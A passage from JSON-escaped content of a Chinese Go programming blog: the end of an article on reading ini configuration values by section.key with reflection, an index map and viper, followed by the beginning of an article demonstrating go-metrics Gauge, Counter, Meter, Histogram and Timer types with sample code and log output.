`ini:\u0026#34;compress\u0026#34;` LogPath string `ini:\u0026#34;path\u0026#34;` MaxAge int `ini:\u0026#34;max_age\u0026#34;` MaxBackups int `ini:\u0026#34;maxbackups\u0026#34;` MaxSize int `ini:\u0026#34;maxsize\u0026#34;` } type debug struct { ProfileOn bool `ini:\u0026#34;profile_on\u0026#34;` ProfilePort string `ini:\u0026#34;profile_port\u0026#34;` } type iniConfig struct { Server server `ini:\u0026#34;server\u0026#34;` Log log `ini:\u0026#34;log\u0026#34;` Dbg debug `ini:\u0026#34;debug\u0026#34;` } var thisConfig = iniConfig{} func InitFromFile(path string) error { cfg, err := ini.Load(path) if err != nil { return err } return cfg.MapTo(\u0026amp;thisConfig) } func GetSectionKey(name string) (interface{}, bool) { keys := strings.Split(name, \u0026#34;.\u0026#34;) lastKey := keys[len(keys)-1] v := reflect.ValueOf(thisConfig) t := reflect.TypeOf(thisConfig) found := false for _, key := range keys { cnt := v.NumField() for i := 0; i \u0026lt; cnt; i++ { field := t.Field(i) if field.Tag.Get(\u0026#34;ini\u0026#34;) == key { t = field.Type v = v.Field(i) if key == lastKey { found = true } break } } } if found { return v.Interface(), true } return nil, false } 我们将原先暴露出去的全局变量改为了包内变量(thisConfig)，几个绑定的结构体类型也都改为非导出的了。我们提供了一个对外的函数：GetSectionKey，这样通过该函数，我们就可以使用section.key的形式获取到对应配置项的值了。在GetSectionKey函数的实现中，我们使用了反射来获取结构体定义中各个字段的tag来和传入的section.key的各个部分做比对，一旦匹配，便将对应的值传出来。如果没有匹配到，则返回false，这里GetSectionKey的返回值列表设计也使用了经典的“comma, ok”模式。\n这样，我们在pkg1包中便可以这样来获取对应的配置项的值了：\n// github.com/bigwhite/experiments/tree/master/read-ini/demo2/pkg/pkg1/pkg1.go package pkg1 import ( \u0026#34;fmt\u0026#34; \u0026#34;github.com/bigwhite/readini/pkg/config\u0026#34; ) func Foo() { id, ok := config.GetSectionKey(\u0026#34;server.id\u0026#34;) fmt.Printf(\u0026#34;id = [%v], ok = [%t]\\n\u0026#34;, id, ok) tlsPort, ok := config.GetSectionKey(\u0026#34;server.tls_port\u0026#34;) fmt.Printf(\u0026#34;tls_port = [%v], ok = [%t]\\n\u0026#34;, tlsPort, ok) logPath, ok := config.GetSectionKey(\u0026#34;log.path\u0026#34;) fmt.Printf(\u0026#34;path = [%v], ok = [%t]\\n\u0026#34;, logPath, ok) logPath1, ok := config.GetSectionKey(\u0026#34;log.path1\u0026#34;) fmt.Printf(\u0026#34;path1 = [%v], ok = [%t]\\n\u0026#34;, logPath1, ok) } 运行demo2，我们将看到如下结果：\n$go run main.go id = [100001], ok = [true] tls_port = [83333], ok = [true] path = [./log/demo.log], ok = [true] path1 = [\u0026lt;nil\u0026gt;], ok = [false] 现在还有一个问题，那就是config包暴露的函数GetSectionKey的第一个返回值类型为interface{}，这样我们得到配置项的值后还得根据其类型通过类型断言方式进行转型，体验略差，我们可以在config包中提供常见类型的“语法糖”函数，比如下面这些：\n// github.com/bigwhite/experiments/tree/master/read-ini/demo2/pkg/config/config.go func GetInt(name string) (int, bool) { i, ok := GetSectionKey(name) if !ok { return 0, false } if v, ok := i.(int); ok { return v, true } // maybe it is a digital string s, ok := i.(string) if !ok { return 0, false } n, err := strconv.Atoi(s) if err != nil { return 0, false } return n, true } func GetString(name string) (string, bool) { i, ok := GetSectionKey(name) if !ok { return \u0026#34;\u0026#34;, false } s, ok := i.(string) if !ok { return \u0026#34;\u0026#34;, false } return s, true } func GetBool(name string) (bool, bool) { i, ok := GetSectionKey(name) if !ok { return false, false } b, ok := i.(bool) if !ok { return false, false } return b, true } 这样我们在pkg1包中就可以直接使用这些语法糖函数获取对应类型的配置项值了：\n// github.com/bigwhite/experiments/tree/master/read-ini/demo2/pkg/pkg1/pkg1.go b, ok := config.GetBool(\u0026#34;debug.profile_on\u0026#34;) fmt.Printf(\u0026#34;profile_on = [%t], ok = [%t]\\n\u0026#34;, b, ok) 3. 优化 配置读取一般都是在系统初始化阶段，对其性能要求不高。后续系统运行过程中，也会偶有获取配置项的业务逻辑。一旦在关键路径上有获取配置项值的逻辑，上面的方案便值得商榷，因为每次通过GetSectionKey获取一个配置项的值都要通过反射进行一番操作，性能肯定不佳。\n那么如何优化呢？我们可以通过为每个key建立索引来进行。我们在config包中创建一个除初始化时只读的map变量：\n// github.com/bigwhite/experiments/tree/master/read-ini/demo3/pkg/config/config.go var index = make(map[string]interface{}, 100) 在config包的InitFromFile中我们将配置项以section.key为key的形式索引到该index变量中：\n// github.com/bigwhite/experiments/tree/master/read-ini/demo3/pkg/config/config.go func InitFromFile(path string) error { cfg, err := ini.Load(path) if err != nil { return err } err = cfg.MapTo(\u0026amp;thisConfig) if err != nil { return err } createIndex() return nil } createIndex的实现如下：\n// github.com/bigwhite/experiments/tree/master/read-ini/demo3/pkg/config/config.go func createIndex() { v := reflect.ValueOf(thisConfig) t := reflect.TypeOf(thisConfig) cnt := v.NumField() for i := 0; i \u0026lt; cnt; i++ { fieldVal := v.Field(i) if fieldVal.Kind() != reflect.Struct { continue } // it is a struct kind field, go on to get tag fieldStructTyp := t.Field(i) tag := fieldStructTyp.Tag.Get(\u0026#34;ini\u0026#34;) if tag == \u0026#34;\u0026#34; { continue // no ini tag, ignore it } // append Field Recursively appendField(tag, fieldVal) } } func appendField(parentTag string, v reflect.Value) { cnt := v.NumField() for i := 0; i \u0026lt; cnt; i++ { fieldVal := v.Field(i) fieldTyp := v.Type() fieldStructTyp := fieldTyp.Field(i) tag := fieldStructTyp.Tag.Get(\u0026#34;ini\u0026#34;) if tag == \u0026#34;\u0026#34; { continue } if fieldVal.Kind() != reflect.Struct { // leaf field, add to map index[parentTag+\u0026#34;.\u0026#34;+tag] = fieldVal.Interface() } else { // recursive call appendField appendField(parentTag+\u0026#34;.\u0026#34;+tag, fieldVal) } } } 这样我们的GetSectionKey就会变得异常简单：\nfunc GetSectionKey(name string) (interface{}, bool) { v, ok := index[name] return v, ok } 我们看到：每次调用config.GetSectionKey将变成一次map的查询操作，这性能那是相当的高:)。\n4. 第三方方案 其实前面那些仅仅是一个配置项读取思路的演进过程，你完全无需自行实现，因为我们有实现的更好的第三方包可以直接使用，比如viper。我们用viper来替换demo3中的config包，代码见demo4：\n// github.com/bigwhite/experiments/tree/master/read-ini/demo4/main.go package main import ( \u0026#34;github.com/bigwhite/readini/pkg/pkg1\u0026#34; \u0026#34;github.com/spf13/viper\u0026#34; ) func main() { viper.SetConfigName(\u0026#34;demo\u0026#34;) viper.SetConfigType(\u0026#34;ini\u0026#34;) viper.AddConfigPath(\u0026#34;./conf\u0026#34;) err := viper.ReadInConfig() if err != nil { panic(err) } pkg1.Foo() } 我们在main函数中利用viper的API读取demo.ini中的配置。然后在pkg1.Foo函数中向下面这样获取配置项的值即可：\n// github.com/bigwhite/experiments/tree/master/read-ini/demo4/pkg/pkg1/pkg1.go package pkg1 import ( \u0026#34;fmt\u0026#34; \u0026#34;github.com/spf13/viper\u0026#34; ) func Foo() { id := viper.GetString(\u0026#34;server.id\u0026#34;) fmt.Printf(\u0026#34;id = [%s]\\n\u0026#34;, id) tlsPort := viper.GetInt(\u0026#34;server.tls_port\u0026#34;) fmt.Printf(\u0026#34;tls_port = [%d]\\n\u0026#34;, tlsPort) logPath := viper.GetString(\u0026#34;log.path\u0026#34;) fmt.Printf(\u0026#34;path = [%s]\\n\u0026#34;, logPath) if viper.IsSet(\u0026#34;log.path1\u0026#34;) { logPath1 := viper.GetString(\u0026#34;log.path1\u0026#34;) fmt.Printf(\u0026#34;path1 = [%s]\\n\u0026#34;, logPath1) } else { fmt.Printf(\u0026#34;log.path1 is not found\\n\u0026#34;) } } 上面的实现基本等价于我们在demo3中所作的一切，viper没有使用“comma, ok”模式，我们需要自己调用viper.IsSet来判断是否有某个配置项，而不是通过像GetString这样的函数返回的空字符串来判断。\n使用viper后，我们甚至无需创建与配置文件中配置项对应的结构体类型了。viper是一个强大的Go配置操作框架，它能实现的不仅限于上面这些，它还支持写配置文件、监视配置文件变化并热加载、支持多种配置文件类型(JSON, TOML, YAML, HCL, ini等)、支持从环境变量和命令行参数读取配置，并且命令行参数、环境变量、配置文件等究竟以哪个配置为准，viper是按一定优先级次序的，从高到低分别为：\n明确调用Set flag env config key/value store default 有如此完善的配置操作第三方库，我们完全无需手动撸自己的实现了。\n5. 小结 除了在本文中提供的使用包级API获取配置项值的方法外，我们还可以将读取出的配置项集合放入应用上下文，以参数的形式“传递”到应用的各个角落，但笔者更喜欢向viper这种通过公共函数获取配置项的方法。本文阐述的就是这种思路的演化过程，并给出一个“玩票”的实现（未经系统测试），以帮助大家了解其中原理，但不要将其用到你的项目中哦。\n本文涉及的源码请到这里下载：https://github.com/bigwhite/experiments/tree/master/read-ini。\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强。在2021年上半年，部落将策划两个专题系列分享，并且是部落独享哦：\nGo技术书籍的书摘和读书体会系列 Go与eBPF系列 欢迎大家加入！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订\n阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/07/10/read-ini-config-item-by-passing-section-key/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/read-ini-config-item-by-passing-section-key-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/07/10/read-ini-config-item-by-passing-section-key\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/07/10/read-ini-config-item-by-passing-section-key\"\u003ehttps://tonybai.com/2021/07/10/read-ini-config-item-by-passing-section-key\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e配置文件读取是很多Go项目必备的功能，这方面社区提供的方案也相对成熟稳定。但之前写这部分代码时除了使用了针对不同配置文件格式（比如：ini、toml等）的驱动包之外，很少直接使用第三方包对读取出的配置项的值进行管理。于是我们就面对这样一个问题：其他包如果要使用这些被读取出的配置项的值该如何做呢？我们以读取ini格式承载的配置文件为例，来简单说说。\u003c/p\u003e","title":"使用section.key的形式读取ini配置项"},{"content":"\n本文永久链接 – https://tonybai.com/2021/07/06/add-metrics-for-go-application-using-go-metrics\nGo语言内置expvar，基于expvar提供的对基础度量的支持能力，我们可以自定义各种度量（metrics）。但是expvar仅仅是提供了最底层的度量定义支持，对于一些复杂的度量场景，第三方或自实现的metrics包必不可少。\ngo-metrics包是Go领域使用较多的是metrics包，该包是对Java社区依旧十分活跃的Coda Hale’s Metrics library的不完全Go移植（不得不感慨一下：Java的生态还真是强大）。因此该包在概念上与Coda Hale’s Metrics library是基本保持一致的。go-metrics包在文档方面做的还不够，要理解很多概念性的东西，我们还得回到Coda Hale’s Metrics library的项目文档去挖掘。\ngo-metrics这样的包是纯工具类的包，没有太多“烧脑”的地方，只需要会用即可，这篇文章我们就来简单地看看如何使用go-metrics在Go应用中增加度量。\n1. go-metrics的结构 go-metrics在度量指标组织上采用了与Coda Hale’s Metrics library相同的结构，即使用Metrics Registry（Metrics注册表）。Metrics注册表是一个度量指标的集合：\n┌─────────────┐ │ │ ┌──────┤ metric1 │ │ │ │ │ └─────────────┘ │ │ ┌─────────────────┐ │ ┌─────────────┐ │ ├───┘ │ │ │ │ │ metric2 │ │ Registry ├──────────┤ │ │ │ └─────────────┘ │ ├───────┐ │ │ │ └──────────────┬──┘ │ ┌─────────────┐ │ │ │ │ │ └──┤ metric3 │ │ │ │ │ └─────────────┘ │ ... ... │ ┌─────────────┐ │ │ │ └─────────────┤ metricN │ │ │ └─────────────┘ go-metrics包将Metrics注册表的行为定义为了一个接口类型：\n// https://github.com/rcrowley/go-metrics/blob/master/registry.go type Registry interface { // Call the given function for each registered metric. Each(func(string, interface{})) // Get the metric by the given name or nil if none is registered. Get(string) interface{} // GetAll metrics in the Registry. GetAll() map[string]map[string]interface{} // Gets an existing metric or registers the given one. // The interface can be the metric to register if not found in registry, // or a function returning the metric for lazy instantiation. GetOrRegister(string, interface{}) interface{} // Register the given metric under the given name. Register(string, interface{}) error // Run all registered healthchecks. RunHealthchecks() // Unregister the metric with the given name. Unregister(string) // Unregister all metrics. (Mostly for testing.) UnregisterAll() } 并提供了一个Registry的标准实现类型StandardRegistry：\n// https://github.com/rcrowley/go-metrics/blob/master/registry.go type StandardRegistry struct { metrics map[string]interface{} mutex sync.RWMutex } 我们看到StandardRegistry使用map结构来组织metrics。我们可以通过NewRegistry函数创建了一个基于StandardRegistry的Registry实例：\n// https://github.com/rcrowley/go-metrics/blob/master/registry.go func NewRegistry() Registry { return \u0026amp;StandardRegistry{metrics: make(map[string]interface{})} } 和标准库的flag或log包的设计方式类似，go-metrics包也在包层面上提供了默认的StandardRegistry实例：DefaultRegistry，这样大多数情况直接使用DefaultRegistry实例即可满足你的需求：\n// https://github.com/rcrowley/go-metrics/blob/master/registry.go var DefaultRegistry Registry = NewRegistry() 一旦有了默认Registry实例，我们通常使用下面goroutine并发安全的包级函数GetOrRegister来注册或获取某个度量指标：\n// https://github.com/rcrowley/go-metrics/blob/master/registry.go func GetOrRegister(name string, i interface{}) interface{} { return DefaultRegistry.GetOrRegister(name, i) } 2. go-metrics的度量类型 go-metrics继承了其前身Coda Hale’s Metrics library所支持的几种基本的度量类型，它们是Gauges、Counters、Histograms、Meters和Timers。下面我们就针对这几种基本度量类型逐一说明一下其含义和使用方法。\n1) Gauge Gauge是对一个数值的即时测量值，其反映一个值的瞬时快照，比如我们要度量当前队列中待发送消息数量、当前应用程序启动的goroutine数量，都可以用Gauge这种度量类型实现。\n下面的例子使用一个Gauge度量类型度量程序当前启动的goroutine数量：\n// gauge.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;net/http\u0026#34; \u0026#34;runtime\u0026#34; \u0026#34;time\u0026#34; \u0026#34;github.com/rcrowley/go-metrics\u0026#34; ) func main() { g := metrics.NewGauge() metrics.GetOrRegister(\u0026#34;goroutines.now\u0026#34;, g) http.HandleFunc(\u0026#34;/\u0026#34;, func(w http.ResponseWriter, r *http.Request) { }) go func() { t := time.NewTicker(time.Second) for { select { case \u0026lt;-t.C: c := runtime.NumGoroutine() g.Update(int64(c)) fmt.Println(\u0026#34;goroutines now =\u0026#34;, g.Value()) } } }() http.ListenAndServe(\u0026#34;:8080\u0026#34;, nil) } 启动该程序，并用hey工具发起http请求，我们看到如下输出：\n$hey -c 5 -n 1000000 -m GET http://127.0.0.1:8080 $go run gauge.go goroutines now = 9 goroutines now = 10 goroutines now = 7 goroutines now = 8 goroutines now = 7 goroutines now = 7 ... ... go-metrics包提供了将Registry中的度量指标格式化输出的接口，我们可以使用该接口将指标情况输出出来，而无需自行输出log，比如上面例子可以改造为下面这样：\n// gauge1.go package main import ( \u0026#34;log\u0026#34; \u0026#34;net/http\u0026#34; \u0026#34;runtime\u0026#34; \u0026#34;time\u0026#34; \u0026#34;github.com/rcrowley/go-metrics\u0026#34; ) func main() { g := metrics.NewGauge() metrics.GetOrRegister(\u0026#34;goroutines.now\u0026#34;, g) go metrics.Log(metrics.DefaultRegistry, time.Second, log.Default()) http.HandleFunc(\u0026#34;/\u0026#34;, func(w http.ResponseWriter, r *http.Request) { }) go func() { t := time.NewTicker(time.Second) for { select { case \u0026lt;-t.C: c := runtime.NumGoroutine() g.Update(int64(c)) } } }() http.ListenAndServe(\u0026#34;:8080\u0026#34;, nil) } 同样方式运行上面gauge1.log：\n$go run gauge1.go 2021/07/04 09:42:58 gauge goroutines.now 2021/07/04 09:42:58 value: 10 2021/07/04 09:42:59 gauge goroutines.now 2021/07/04 09:42:59 value: 9 2021/07/04 09:43:00 gauge goroutines.now 2021/07/04 09:43:00 value: 9 2021/07/04 09:43:01 gauge goroutines.now 2021/07/04 09:43:01 value: 10 ... ... go-metrics包的Log函数必须放在一个单独的goroutine中执行，否则它将阻塞调用它的goroutine的继续执行。但Log函数也是goroutine安全的，其每次输出度量值时其实输出的都是Registry中各个度量值的“快照副本”：\n// https://github.com/rcrowley/go-metrics/blob/master/registry.go func (r *StandardRegistry) Each(f func(string, interface{})) { metrics := r.registered() for i := range metrics { kv := \u0026amp;metrics[i] f(kv.name, kv.value) } } func (r *StandardRegistry) registered() []metricKV { r.mutex.RLock() defer r.mutex.RUnlock() metrics := make([]metricKV, 0, len(r.metrics)) for name, i := range r.metrics { metrics = append(metrics, metricKV{ name: name, value: i, }) } return metrics } 对于Gauge这类的季世志度量，就像上面代码那样，我们都是通过Update直接设置其值的。\n2) Counter Counter顾名思义计数器！和Gauge相比，其提供了指标增减方法Inc和Dec，如下面代码：\n// https://github.com/rcrowley/go-metrics/blob/master/counter.go type Counter interface { Clear() Count() int64 Dec(int64) Inc(int64) Snapshot() Counter } 计数是日常使用较多的度量场景，比如一个服务处理的请求次数就十分适合用计数这个度量指标，下面这段代码演示的就是这一场景：\n// counter.go package main import ( \u0026#34;log\u0026#34; \u0026#34;net/http\u0026#34; \u0026#34;time\u0026#34; \u0026#34;github.com/rcrowley/go-metrics\u0026#34; ) func main() { c := metrics.NewCounter() metrics.GetOrRegister(\u0026#34;total.requests\u0026#34;, c) go metrics.Log(metrics.DefaultRegistry, time.Second, log.Default()) http.HandleFunc(\u0026#34;/\u0026#34;, func(w http.ResponseWriter, r *http.Request) { c.Inc(1) }) http.ListenAndServe(\u0026#34;:8080\u0026#34;, nil) } 在这段代码中，我们每收到一个http request就在其对应的处理函数中利用Counter的Inc方法增加计数，运行上述代码：\n$go run counter.go 2021/07/04 10:29:03 counter total.requests ... ... 2021/07/04 10:29:06 counter total.requests 2021/07/04 10:29:06 count: 0 2021/07/04 10:29:07 counter total.requests 2021/07/04 10:29:07 count: 33890 2021/07/04 10:29:08 counter total.requests 2021/07/04 10:29:08 count: 80160 2021/07/04 10:29:09 counter total.requests 2021/07/04 10:29:09 count: 124855 2021/07/04 10:29:10 counter total.requests 2021/07/04 10:29:10 count: 172077 2021/07/04 10:29:11 counter total.requests 2021/07/04 10:29:11 count: 218466 2021/07/04 10:29:12 counter total.requests 2021/07/04 10:29:12 count: 265476 2021/07/04 10:29:13 counter total.requests 2021/07/04 10:29:13 count: 309153 ... ... 3) Meter Meter这个类型用于测量一组事件发生的速度，比如：web服务的平均处理性能(条/秒)，除了平均值，go-metrics的Meter默认还提供1分钟、5分钟和15分钟时间段的平均速度，和top命令中的load average输出的一分钟、五分钟、以及十五分钟的系统平均负载类似。\n下面就是一个用Meter来测量web服务处理性能的例子：\n// meter.go package main import ( \u0026#34;log\u0026#34; \u0026#34;net/http\u0026#34; \u0026#34;time\u0026#34; \u0026#34;github.com/rcrowley/go-metrics\u0026#34; ) func main() { m := metrics.NewMeter() metrics.GetOrRegister(\u0026#34;rate.requests\u0026#34;, m) go metrics.Log(metrics.DefaultRegistry, time.Second, log.Default()) http.HandleFunc(\u0026#34;/\u0026#34;, func(w http.ResponseWriter, r *http.Request) { m.Mark(1) }) http.ListenAndServe(\u0026#34;:8080\u0026#34;, nil) } 我们用hey给该web server“施压”并查看Meter度量指标的输出结果：\n$hey -c 5 -n 1000000 -m GET http://127.0.0.1:8080 $go run meter.go 2021/07/04 10:55:59 meter rate.requests 2021/07/04 10:55:59 count: 0 2021/07/04 10:55:59 1-min rate: 0.00 2021/07/04 10:55:59 5-min rate: 0.00 2021/07/04 10:55:59 15-min rate: 0.00 2021/07/04 10:55:59 mean rate: 0.00 2021/07/04 10:56:00 meter rate.requests 2021/07/04 10:56:00 count: 0 2021/07/04 10:56:00 1-min rate: 0.00 2021/07/04 10:56:00 5-min rate: 0.00 2021/07/04 10:56:00 15-min rate: 0.00 2021/07/04 10:56:00 mean rate: 0.00 2021/07/04 10:56:01 meter rate.requests 2021/07/04 10:56:01 count: 8155 2021/07/04 10:56:01 1-min rate: 0.00 2021/07/04 10:56:01 5-min rate: 0.00 2021/07/04 10:56:01 15-min rate: 0.00 2021/07/04 10:56:01 mean rate: 2718.27 2021/07/04 10:56:02 meter rate.requests 2021/07/04 10:56:02 count: 50937 2021/07/04 10:56:02 1-min rate: 0.00 2021/07/04 10:56:02 5-min rate: 0.00 2021/07/04 10:56:02 15-min rate: 0.00 2021/07/04 10:56:02 mean rate: 12734.04 2021/07/04 10:56:03 meter rate.requests 2021/07/04 10:56:03 count: 96129 2021/07/04 10:56:03 1-min rate: 19225.00 2021/07/04 10:56:03 5-min rate: 19225.00 2021/07/04 10:56:03 15-min rate: 19225.00 2021/07/04 10:56:03 mean rate: 19225.54 2021/07/04 10:56:04 meter rate.requests 2021/07/04 10:56:04 count: 141076 2021/07/04 10:56:04 1-min rate: 19225.00 2021/07/04 10:56:04 5-min rate: 19225.00 2021/07/04 10:56:04 15-min rate: 19225.00 2021/07/04 10:56:04 mean rate: 23512.40 2021/07/04 10:56:05 meter rate.requests 2021/07/04 10:56:05 count: 187733 2021/07/04 10:56:05 1-min rate: 19225.00 2021/07/04 10:56:05 5-min rate: 19225.00 2021/07/04 10:56:05 15-min rate: 19225.00 2021/07/04 10:56:05 mean rate: 26818.71 2021/07/04 10:56:06 meter rate.requests 2021/07/04 10:56:06 count: 234874 2021/07/04 10:56:06 1-min rate: 19225.00 2021/07/04 10:56:06 5-min rate: 19225.00 2021/07/04 10:56:06 15-min rate: 19225.00 2021/07/04 10:56:06 mean rate: 29358.98 2021/07/04 10:56:07 meter rate.requests 2021/07/04 10:56:07 count: 279201 2021/07/04 10:56:07 1-min rate: 19225.00 2021/07/04 10:56:07 5-min rate: 19225.00 2021/07/04 10:56:07 15-min rate: 19225.00 2021/07/04 10:56:07 mean rate: 31022.05 2021/07/04 10:56:08 meter rate.requests 2021/07/04 10:56:08 count: 321704 2021/07/04 10:56:08 1-min rate: 21295.03 2021/07/04 10:56:08 5-min rate: 19652.92 2021/07/04 10:56:08 15-min rate: 19368.43 2021/07/04 10:56:08 mean rate: 32170.20 2021/07/04 10:56:09 meter rate.requests 2021/07/04 10:56:09 count: 362403 2021/07/04 10:56:09 1-min rate: 21295.03 2021/07/04 10:56:09 5-min rate: 19652.92 2021/07/04 10:56:09 15-min rate: 19368.43 2021/07/04 10:56:09 mean rate: 32945.48 2021/07/04 10:56:10 meter rate.requests 2021/07/04 10:56:10 count: 401442 2021/07/04 10:56:10 1-min rate: 21295.03 2021/07/04 10:56:10 5-min rate: 19652.92 2021/07/04 10:56:10 15-min rate: 19368.43 2021/07/04 10:56:10 mean rate: 33453.34 2021/07/04 10:56:11 meter rate.requests 2021/07/04 10:56:11 count: 440905 2021/07/04 10:56:11 1-min rate: 21295.03 2021/07/04 10:56:11 5-min rate: 19652.92 2021/07/04 10:56:11 15-min rate: 19368.43 2021/07/04 10:56:11 mean rate: 33915.67 2021/07/04 10:56:12 meter rate.requests 2021/07/04 10:56:12 count: 479301 2021/07/04 10:56:12 1-min rate: 21295.03 2021/07/04 10:56:12 5-min rate: 19652.92 2021/07/04 10:56:12 15-min rate: 19368.43 2021/07/04 10:56:12 mean rate: 34235.60 2021/07/04 10:56:13 meter rate.requests 2021/07/04 10:56:13 count: 518843 2021/07/04 10:56:13 1-min rate: 22744.85 2021/07/04 10:56:13 5-min rate: 19979.77 2021/07/04 10:56:13 15-min rate: 19479.57 2021/07/04 10:56:13 mean rate: 34589.43 2021/07/04 10:56:14 meter rate.requests 2021/07/04 10:56:14 count: 560260 2021/07/04 10:56:14 1-min rate: 22744.85 2021/07/04 10:56:14 5-min rate: 19979.77 2021/07/04 10:56:14 15-min rate: 19479.57 2021/07/04 10:56:14 mean rate: 35016.17 如果使用Meter度量服务的最佳性能值，那么需要有持续稳定的“施压”，待1、5、15分钟速率稳定后，这时的值才有意义。Meter的最后一项mean rate是平均值，即服务启动后处理请求的总量与程序运行时间的比值。\n4) Histogram Histogram是直方图，与概率统计学上直方图的概念类似，go-metrics中的Histogram也是用来统计一组数据的统计学分布情况的。除了最小值(min)、最大值(max)、平均值(mean)等，它还测量中位数(median)、第75、90、95、98、99和99.9百分位数。\n直方图可以用来度量事件发生的数据分布情况，比如：服务器处理请求时长的数据分布情况，下面就是这样一个例子：\n// histogram.go package main import ( \u0026#34;log\u0026#34; \u0026#34;math/rand\u0026#34; \u0026#34;net/http\u0026#34; \u0026#34;time\u0026#34; \u0026#34;github.com/rcrowley/go-metrics\u0026#34; ) func main() { s := metrics.NewExpDecaySample(1028, 0.015) h := metrics.NewHistogram(s) metrics.GetOrRegister(\u0026#34;latency.response\u0026#34;, h) go metrics.Log(metrics.DefaultRegistry, time.Second, log.Default()) http.HandleFunc(\u0026#34;/\u0026#34;, func(w http.ResponseWriter, r *http.Request) { i := rand.Intn(10) h.Update(int64(time.Microsecond * time.Duration(i))) }) http.ListenAndServe(\u0026#34;:8080\u0026#34;, nil) } 在上面这个例子中，我们使用一个随机值来模拟服务处理http请求的时间。Histogram需要一个采样算法，go-metrics内置了ExpDecaySample采样。运行上述示例，并使用hey模拟客户端请求，我们得到如下输出：\n$go run histogram.go 2021/07/04 11:31:54 histogram latency.response 2021/07/04 11:31:54 count: 0 2021/07/04 11:31:54 min: 0 2021/07/04 11:31:54 max: 0 2021/07/04 11:31:54 mean: 0.00 2021/07/04 11:31:54 stddev: 0.00 2021/07/04 11:31:54 median: 0.00 2021/07/04 11:31:54 75%: 0.00 2021/07/04 11:31:54 95%: 0.00 2021/07/04 11:31:54 99%: 0.00 2021/07/04 11:31:54 99.9%: 0.00 2021/07/04 11:31:55 99.9%: 0.00 ... ... 2021/07/04 11:31:59 histogram latency.response 2021/07/04 11:31:59 count: 33244 2021/07/04 11:31:59 min: 0 2021/07/04 11:31:59 max: 9000 2021/07/04 11:31:59 mean: 4457.20 2021/07/04 11:31:59 stddev: 2793.67 2021/07/04 11:31:59 median: 4000.00 2021/07/04 11:31:59 75%: 7000.00 2021/07/04 11:31:59 95%: 9000.00 2021/07/04 11:31:59 99%: 9000.00 2021/07/04 11:31:59 99.9%: 9000.00 2021/07/04 11:32:00 histogram latency.response 2021/07/04 11:32:00 count: 78970 2021/07/04 11:32:00 min: 0 2021/07/04 11:32:00 max: 9000 2021/07/04 11:32:00 mean: 4465.95 2021/07/04 11:32:00 stddev: 2842.12 2021/07/04 11:32:00 median: 4000.00 2021/07/04 11:32:00 75%: 7000.00 2021/07/04 11:32:00 95%: 9000.00 2021/07/04 11:32:00 99%: 9000.00 2021/07/04 11:32:00 99.9%: 9000.00 2021/07/04 11:32:01 histogram latency.response 2021/07/04 11:32:01 count: 124573 2021/07/04 11:32:01 min: 0 2021/07/04 11:32:01 max: 9000 2021/07/04 11:32:01 mean: 4459.14 2021/07/04 11:32:01 stddev: 2820.38 2021/07/04 11:32:01 median: 4000.00 2021/07/04 11:32:01 75%: 7000.00 2021/07/04 11:32:01 95%: 9000.00 2021/07/04 11:32:01 99%: 9000.00 2021/07/04 11:32:01 99.9%: 9000.00 ... ... Histogram度量输出的值包括min、max、mean(平均数）、median（中位数）、75、95、99、99.9百分位数上的度量结果。\n5) Timer 最后我们来介绍Timer这个度量类型。大家千万别被这度量类型的名称所误导，这并不是一个定时器。\nTimer是go-metrics定义的一个抽象度量类型，它可以理解为Histogram和Meter的“合体”，即既度量一段代码的执行频率（rate）,又给出这段代码执行时间的数据分布。这一点从Timer的实现亦可以看出来：\n// https://github.com/rcrowley/go-metrics/blob/master/timer.go func NewTimer() Timer { if UseNilMetrics { return NilTimer{} } return \u0026amp;StandardTimer{ histogram: NewHistogram(NewExpDecaySample(1028, 0.015)), meter: NewMeter(), } } 我们看到一个StandardTimer是由histogram和meter组成的。 我们还是以上面的http server服务为例，我们这次用Timer来度量：\n// timer.go package main import ( \u0026#34;log\u0026#34; \u0026#34;math/rand\u0026#34; \u0026#34;net/http\u0026#34; \u0026#34;time\u0026#34; \u0026#34;github.com/rcrowley/go-metrics\u0026#34; ) func main() { m := metrics.NewTimer() metrics.GetOrRegister(\u0026#34;timer.requests\u0026#34;, m) go metrics.Log(metrics.DefaultRegistry, time.Second, log.Default()) http.HandleFunc(\u0026#34;/\u0026#34;, func(w http.ResponseWriter, r *http.Request) { i := rand.Intn(10) m.Update(time.Microsecond * time.Duration(i)) }) http.ListenAndServe(\u0026#34;:8080\u0026#34;, nil) } 